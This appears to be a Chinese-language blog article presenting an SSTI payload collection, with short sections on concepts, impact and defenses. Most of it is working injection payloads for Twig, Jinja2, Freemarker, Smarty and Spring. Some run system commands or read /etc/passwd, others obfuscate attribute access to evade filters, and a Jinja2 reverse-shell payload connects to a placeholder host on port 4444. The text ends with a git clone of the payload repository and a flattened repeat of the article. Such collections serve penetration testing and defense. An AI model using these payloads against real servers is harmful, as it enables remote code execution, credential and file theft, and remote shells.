SSTI-Payloads:一套针对服务器端模板注入技术的Payload集
字数 753 2025-08-15 21:31:34

服务器端模板注入(SSTI)攻击全面指南

1. SSTI基本概念

服务器端模板注入(Server-Side Template Injection, SSTI)是一种攻击技术,攻击者能够使用模板引擎的原生语法将恶意Payload注入到模板中,在服务器端执行。

1.1 模板引擎工作原理

模板引擎将固定模板与动态数据结合生成网页。当用户输入直接与模板内容连接(而非作为数据参数传入)时,就可能发生SSTI攻击。

1.2 攻击原理

攻击者注入任意模板指令操纵模板引擎,可能导致获取服务器完整控制权。SSTI比客户端模板注入更严重,因为Payload在服务器端执行。

2. SSTI漏洞影响

  • 远程代码执行(RCE):完全控制后端服务器
  • 敏感数据泄露:读取服务器上任意文件(如/etc/passwd)
  • 内部网络攻击:作为攻击内部基础设施的跳板
  • 权限提升:获取更高权限执行操作

3. 常见模板引擎及Payload

3.1 通用检测Payload

{{2*2}} 
[[3*3]] 
{{3*'3'}} 
<%= 3 * 3 %> 
${6*6} 
${{3*3}} 
@(6+5) 
#{3*3}

3.2 各模板引擎特定Payload

Twig (PHP)

{{dump(app)}}
{{app.request.server.all|join(',')}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}

Jinja2 (Python)

{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip() }}

Freemarker (Java)

<#assign ex = "freemarker.template.utility.Execute"?new()> ${ ex("id") }
[#assign ex = 'freemarker.template.utility.Execute'?new()] ${ ex('id') }
${"freemarker.template.utility.Execute"?new()("id")}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php}

Java (Spring框架)

${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}

JavaScript引擎

a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("new java.lang.String('xxx')")

4. 高级利用技术

4.1 文件读取

<%= File.open('/etc/passwd').read %>
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

4.2 反向Shell

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

4.3 反射利用

{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

5. 防御措施

  1. 输入验证:严格验证所有用户输入
  2. 沙箱环境:在受限环境中执行模板
  3. 静态模板:尽可能使用静态模板
  4. 最小权限:模板引擎以最低必要权限运行
  5. 禁用危险功能:禁用模板引擎中的危险函数和方法
  6. 安全配置:正确配置模板引擎的安全设置

6. 资源获取

克隆Payload集合:

git clone https://github.com/payloadbox/ssti-payloads.git
# 或
git clone git@github.com:payloadbox/ssti-payloads.git

7. 参考资料

服务器端模板注入(SSTI)攻击全面指南 1. SSTI基本概念 服务器端模板注入 (Server-Side Template Injection, SSTI)是一种攻击技术,攻击者能够使用模板引擎的原生语法将恶意Payload注入到模板中,在服务器端执行。 1.1 模板引擎工作原理 模板引擎将固定模板与动态数据结合生成网页。当用户输入直接与模板内容连接(而非作为数据参数传入)时,就可能发生SSTI攻击。 1.2 攻击原理 攻击者注入任意模板指令操纵模板引擎,可能导致获取服务器完整控制权。SSTI比客户端模板注入更严重,因为Payload在服务器端执行。 2. SSTI漏洞影响 远程代码执行 (RCE):完全控制后端服务器 敏感数据泄露 :读取服务器上任意文件(如/etc/passwd) 内部网络攻击 :作为攻击内部基础设施的跳板 权限提升 :获取更高权限执行操作 3. 常见模板引擎及Payload 3.1 通用检测Payload 3.2 各模板引擎特定Payload Twig (PHP) Jinja2 (Python) Freemarker (Java) Smarty (PHP) Java (Spring框架) JavaScript引擎 4. 高级利用技术 4.1 文件读取 4.2 反向Shell 4.3 反射利用 5. 防御措施 输入验证 :严格验证所有用户输入 沙箱环境 :在受限环境中执行模板 静态模板 :尽可能使用静态模板 最小权限 :模板引擎以最低必要权限运行 禁用危险功能 :禁用模板引擎中的危险函数和方法 安全配置 :正确配置模板引擎的安全设置 6. 资源获取 克隆Payload集合: 7. 参考资料 OWASP SSTI测试指南 Indusface SSTI学习资源